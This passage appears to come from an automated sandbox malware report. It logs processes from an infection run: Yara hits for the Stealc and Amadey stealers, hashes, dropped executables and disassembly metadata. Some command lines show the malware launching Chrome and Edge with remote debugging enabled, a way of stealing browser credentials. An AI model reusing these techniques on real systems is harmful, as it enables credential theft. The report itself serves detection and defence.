detected Credential Stealer, Source: 00000000.00000003.1492372678.000000000168D000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.1464746561.000000000168D000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.1487839489.000000000168D000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.1491891684.000000000168D000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.1443772797.000000000168D000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.1465136252.000000000168D000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.1489238865.000000000168D000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.1490281273.000000000168D000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.1493333668.000000000168F000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	04:37:31
Start date:	16/12/2024
Path:	C:\Users\user\AppData\Local\Temp\B4U6J06FD2GOJV7081L.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\B4U6J06FD2GOJV7081L.exe"
Imagebase:	0x9e0000
File size:	2'786'816 bytes
MD5 hash:	17839CF1DD548DBB64EC23E644A475E0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	04:37:35
Start date:	16/12/2024
Path:	C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\0T9SUT3NIHPVYFO0WUKXI.exe"
Imagebase:	0xfd0000
File size:	1'854'976 bytes
MD5 hash:	6B7CCA5A323F5E7087052DBE58F4C15A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000004.00000002.2268472466.00000000007BE000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000004.00000002.2268868915.0000000000FD1000.00000040.00000001.01000000.00000009.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000004.00000003.1685938522.0000000004CB0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000004.00000002.2268868915.000000000109C000.00000040.00000001.01000000.00000009.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	04:37:45
Start date:	16/12/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory=""
Imagebase:	0x7ff6b2cb0000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	04:37:46
Start date:	16/12/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2652 --field-trial-handle=2088,i,9412367177706632244,1017360453159819456,262144 /prefetch:8
Imagebase:	0x7ff6b2cb0000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	04:37:55
Start date:	16/12/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=""
Imagebase:	0x7ff6d8030000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	04:37:56
Start date:	16/12/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2412 --field-trial-handle=2308,i,2540169261572747136,2314249800011024031,262144 /prefetch:3
Imagebase:	0x7ff6d8030000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	04:37:56
Start date:	16/12/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate
Imagebase:	0x7ff6d8030000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	04:37:57
Start date:	16/12/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2072 --field-trial-handle=1996,i,11317946116252847861,14765344992864549327,262144 /prefetch:3
Imagebase:	0x7ff6d8030000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	04:38:30
Start date:	16/12/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\Documents\DBAEHCGHII.exe"
Imagebase:	0xc50000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	04:38:30
Start date:	16/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff70f010000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	04:38:30
Start date:	16/12/2024
Path:	C:\Users\user\Documents\DBAEHCGHII.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Documents\DBAEHCGHII.exe"
Imagebase:	0x450000
File size:	3'042'304 bytes
MD5 hash:	215688FC3175B17C270C29FE33195914
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000012.00000002.2274664924.0000000000451000.00000040.00000001.01000000.0000000F.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000012.00000003.2233603342.0000000005190000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	04:38:32
Start date:	16/12/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Imagebase:	0xb60000
File size:	3'042'304 bytes
MD5 hash:	215688FC3175B17C270C29FE33195914
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000013.00000003.2261575621.0000000004BD0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000013.00000002.2302156818.0000000000B61000.00000040.00000001.01000000.00000011.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	04:38:32
Start date:	16/12/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0xb60000
File size:	3'042'304 bytes
MD5 hash:	215688FC3175B17C270C29FE33195914
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000014.00000003.2259191729.00000000051C0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000014.00000002.2301486962.0000000000B61000.00000040.00000001.01000000.00000011.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	04:39:00
Start date:	16/12/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0xb60000
File size:	3'042'304 bytes
MD5 hash:	215688FC3175B17C270C29FE33195914
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000016.00000003.2529982142.00000000050F0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000016.00000002.2601381660.0000000000B61000.00000040.00000001.01000000.00000011.sdmp, Author: Joe Security
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	4.1%
Dynamic/Decrypted Code Coverage:	30%
Signature Coverage:	10%
Total number of Nodes:	30
Total number of Limit Nodes:	0

Executed Functions

Function 00B6192E Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 99
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileA.KERNELBASE ref: 00B6194E

Part of subcall function 00B6196D: CreateFileA.KERNELBASE(?,DE57FA86,00000003,00000000,00000003), ref: 00B61A70

Strings

C, xrefs: 00B61ACD

Memory Dump Source

Source File: 00000003.00000002.1799448728.0000000000B5B000.00000040.00000001.01000000.00000006.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000003.00000002.1799078539.00000000009E0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1799110608.00000000009E2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1799145624.00000000009E6000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1799172597.00000000009EA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1799211840.00000000009F6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1799346727.0000000000B48000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1799397364.0000000000B4B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1799448728.0000000000B65000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1799549247.0000000000B6D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1799599211.0000000000B70000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1799643180.0000000000B71000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1799692589.0000000000B73000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1799744289.0000000000B9A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1799783502.0000000000BAC000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1799824231.0000000000BBC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1799892487.0000000000BBE000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1799974749.0000000000BBF000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1800053975.0000000000BC1000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1800132337.0000000000BD5000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1800209084.0000000000BDD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1800261421.0000000000BDE000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1800341647.0000000000BE3000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1800381837.0000000000BE4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1800419070.0000000000BEA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1800495966.0000000000BEB000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1800548464.0000000000BED000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1800583628.0000000000BF5000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1800618496.0000000000BF7000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1800653160.0000000000C00000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1800691993.0000000000C03000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1800726086.0000000000C0C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1800760504.0000000000C0F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1800796467.0000000000C10000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1800827344.0000000000C18000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1800856263.0000000000C26000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1800901694.0000000000C28000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1800989857.0000000000C75000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1801033173.0000000000C76000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1801066080.0000000000C77000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1801066080.0000000000C7D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1801121787.0000000000C8E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1801148746.0000000000C90000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_9e0000_B4U6J06FD2GOJV7081L.jbxd

Similarity

API ID: CreateFile
String ID: C
API String ID: 823142352-1037565863
Opcode ID: feac2ab561cbdd499baa22d6eb0cc16382a413ae9723f7cf96cb775832e68343
Instruction ID: 5b1a6ef1417ccff5b0947e87422265a5c840700ec5f9a2b572bf0d2d2a9945b2
Opcode Fuzzy Hash: feac2ab561cbdd499baa22d6eb0cc16382a413ae9723f7cf96cb775832e68343
Instruction Fuzzy Hash: 5B215B7350810AAEE700CFA99990BFF37D9EBC1320F384D9AE55187581D2AA4C159B59

Function 009EB7EE Relevance: 1.3, Strings: 1, Instructions: 18COMMON

Download Yara Rule

Strings

!!iH, xrefs: 009EB95E

Memory Dump Source

Source File: 00000003.00000002.1799172597.00000000009EA000.00000040.00000001.01000000.00000006.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000003.00000002.1799078539.00000000009E0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1799110608.00000000009E2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1799145624.00000000009E6000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1799211840.00000000009F6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1799346727.0000000000B48000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1799397364.0000000000B4B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1799448728.0000000000B5B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1799448728.0000000000B65000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1799549247.0000000000B6D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1799599211.0000000000B70000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1799643180.0000000000B71000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1799692589.0000000000B73000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1799744289.0000000000B9A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1799783502.0000000000BAC000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1799824231.0000000000BBC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1799892487.0000000000BBE000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1799974749.0000000000BBF000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1800053975.0000000000BC1000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1800132337.0000000000BD5000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1800209084.0000000000BDD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1800261421.0000000000BDE000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1800341647.0000000000BE3000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1800381837.0000000000BE4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1800419070.0000000000BEA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1800495966.0000000000BEB000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1800548464.0000000000BED000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1800583628.0000000000BF5000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1800618496.0000000000BF7000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1800653160.0000000000C00000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1800691993.0000000000C03000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1800726086.0000000000C0C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1800760504.0000000000C0F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1800796467.0000000000C10000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1800827344.0000000000C18000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1800856263.0000000000C26000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1800901694.0000000000C28000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1800989857.0000000000C75000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1801033173.0000000000C76000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1801066080.0000000000C77000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1801066080.0000000000C7D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1801121787.0000000000C8E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1801148746.0000000000C90000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_9e0000_B4U6J06FD2GOJV7081L.jbxd

Similarity

API ID:
String ID: !!iH
API String ID: 0-3430752988
Opcode ID: cbea5c6e448582a2771a3e78505c75f86634a9108925e51963f955b7d1e24e64
Instruction ID: 43484b01b9e1398e942f674b27b294708636706b606fe3c137e5a330f9f87168
Opcode Fuzzy Hash: cbea5c6e448582a2771a3e78505c75f86634a9108925e51963f955b7d1e24e64
Instruction Fuzzy Hash: 22E0C2321489CA9ACB1B9F21C80179F760DDB81704F904116FA159AF4ACB2D4C218769

Function 00B617F1 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 103
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileA.KERNELBASE ref: 00B617FE

Strings

C, xrefs: 00B61ACD

Memory Dump Source

Source File: 00000003.00000002.1799448728.0000000000B5B000.00000040.00000001.01000000.00000006.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000003.00000002.1799078539.00000000009E0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1799110608.00000000009E2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1799145624.00000000009E6000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1799172597.00000000009EA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1799211840.00000000009F6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1799346727.0000000000B48000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1799397364.0000000000B4B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1799448728.0000000000B65000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1799549247.0000000000B6D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1799599211.0000000000B70000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1799643180.0000000000B71000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1799692589.0000000000B73000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1799744289.0000000000B9A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1799783502.0000000000BAC000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1799824231.0000000000BBC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1799892487.0000000000BBE000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1799974749.0000000000BBF000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1800053975.0000000000BC1000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1800132337.0000000000BD5000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1800209084.0000000000BDD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1800261421.0000000000BDE000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1800341647.0000000000BE3000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1800381837.0000000000BE4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1800419070.0000000000BEA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1800495966.0000000000BEB000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1800548464.0000000000BED000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1800583628.0000000000BF5000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1800618496.0000000000BF7000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1800653160.0000000000C00000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1800691993.0000000000C03000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1800726086.0000000000C0C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1800760504.0000000000C0F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1800796467.0000000000C10000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1800827344.0000000000C18000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1800856263.0000000000C26000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1800901694.0000000000C28000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1800989857.0000000000C75000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1801033173.0000000000C76000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1801066080.0000000000C77000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1801066080.0000000000C7D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1801121787.0000000000C8E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1801148746.0000000000C90000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_9e0000_B4U6J06FD2GOJV7081L.jbxd

Similarity

API ID: CreateFile
String ID: C
API String ID: 823142352-1037565863
Opcode ID: 8423b54ffbb4dd1bfec25cf9f11ce002dfbdd2ab670c6d2c3289665b193568e1
Instruction ID: 7d8c2795806507e47838aeb8a2b99964b1533c164de3edc68c1071caa67a900d
Opcode Fuzzy Hash: 8423b54ffbb4dd1bfec25cf9f11ce002dfbdd2ab670c6d2c3289665b193568e1
Instruction Fuzzy Hash: A7216DB74482097DFA008A695A50BFF37EDDBC2370F344D56F40193882D1DD0D455635

Function 00B6196D Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 86
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileA.KERNELBASE(?,DE57FA86,00000003,00000000,00000003), ref: 00B61A70

Strings

C, xrefs: 00B61ACD

Memory Dump Source

Source File: 00000003.00000002.1799448728.0000000000B5B000.00000040.00000001.01000000.00000006.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000003.00000002.1799078539.00000000009E0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1799110608.00000000009E2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1799145624.00000000009E6000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1799172597.00000000009EA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1799211840.00000000009F6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1799346727.0000000000B48000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1799397364.0000000000B4B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1799448728.0000000000B65000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1799549247.0000000000B6D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1799599211.0000000000B70000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1799643180.0000000000B71000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1799692589.0000000000B73000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1799744289.0000000000B9A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1799783502.0000000000BAC000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1799824231.0000000000BBC000.00000080.00000001.01000000.00000006.sdmpDownload File
